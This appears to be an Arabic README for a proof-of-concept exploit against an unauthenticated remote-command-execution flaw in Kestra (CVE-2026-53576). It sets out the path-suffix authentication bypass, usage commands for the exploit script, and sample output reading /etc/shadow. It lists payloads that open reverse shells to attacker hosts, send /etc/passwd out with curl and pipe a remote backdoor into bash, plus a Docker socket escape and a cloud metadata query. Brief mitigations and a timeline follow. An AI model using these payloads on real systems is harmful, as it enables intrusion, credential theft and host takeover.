
استغلال RCE غير مصادق في Kestra (CVE-2026-53576)
تجاوز حرج للمصادقة يؤدي إلى تنفيذ أوامر عن بُعد بدون مصادقة
الاستغلال • تفاصيل الثغرة • الأثر • الإصلاح
هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمن المصرح بها فقط.
- لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها.
- لا تستخدمها في أنشطة غير قانونية.
- المؤلف ليس مسؤولًا عن أي إساءة استخدام لهذه الأداة.
- استخدمها على مسؤوليتك الخاصة.
CVE-2026-53576 هي ثغرة حرجة في Kestra OSS حتى الإصدار v1.3.20 تسمح بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر تجاوز فلتر المصادقة.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-53576 |
| الخطورة | حرجة (9.8 CVSS) |
| نوع الثغرة | تجاوز مصادقة + RCE |
| المنتج المتأثر | Kestra OSS |
| النسخ المتأثرة | ≤ v1.3.20 |
| متجه الهجوم | شبكة |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
يحتوي فلتر المصادقة في Kestra على خلل منطقي حرج:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
يتم التحقق مما إذا كانت أي طلبات API تنتهي بـ /configs بدلاً من مطابقة المسار المحدد، مما يسمح للمهاجمين بتجاوز المصادقة بإلحاق /configs بأي نقطة نهاية.
POST /api/v1/main/flows/configs (يتجاوز المصادقة)POST /api/v1/main/executions/configs/configs (يتجاوز المصادقة)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| الخيار | الوصف |
|---|---|
target | عنوان IP أو اسم المضيف الهدف (مطلوب) |
-p, --port | المنفذ (الافتراضي: 8080) |
--https | استخدام HTTPS بدلاً من HTTP |
-c, --command | الأمر المخصص للتنفيذ |
--docker-check | التحقق من الوصول إلى Docker socket |
--cleanup | حذف الـ flow بعد الاستغلال |
--delay | التأخير بين الطلبات (الافتراضي: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
المخرجات:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| الفئة | الخطورة | الوصف |
|---|---|---|
| السرية | ⚠️ حرجة | قراءة أي ملف (كلمات المرور، الأسرار، الإعدادات) |
| السلامة | ⚠️ حرجة | إنشاء/تعديل/حذف الـ flows والبيانات |
| التوافر | ⚠️ عالية | إيقاف النظام، استنزاف الموارد |
| المصادقة | ⚠️ حرجة | تجاوز كامل للمصادقة الأساسية (Basic-Auth) |
| تصعيد الامتيازات | ⚠️ حرجة | تنفيذ الأوامر بصلاحيات root (uid=0) |
| الهروب من الحاوية | ⚠️ حرجة | اختراق المضيف عبر Docker socket |
يمكن للمهاجم غير المصادق أن:
ينفّذ أوامر عشوائية بصلاحيات root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
ينتقل إلى النظام المضيف (إذا كان Docker socket مثبتًا):
docker run -v /:/host --privileged alpine chroot /host
يصل إلى بيانات cloud الوصفية (إذا كان يعمل على مزوّد سحابي):
curl http://169.254.169.254/latest/meta-data/
إيقاف تشغيل النسخ المتأثرة:
sudo systemctl stop kestra
منع الوصول العام:
iptables -A INPUT -p tcp --dport 8080 -j DROP
تطبيق قواعد جدار الحماية:
تحديث Kestra إلى أحدث إصدار مصحح:
تطبيق مصادقة مناسبة:
تحسين أمان الحاوية:
/var/run/docker.sockتحسين أمان الشبكة:
| التاريخ | الحدث |
|---|---|
| 2026-05-26 | اكتشاف الثغرة |
| 2026-06-03 | نشر النشرة الأمنية من Kestra |
| 2026-06-10 | تخصيص CVE-2026-53576 |
| 2026-06-15 | الكشف العلني |
| 2026-08-01 | نشر PoC |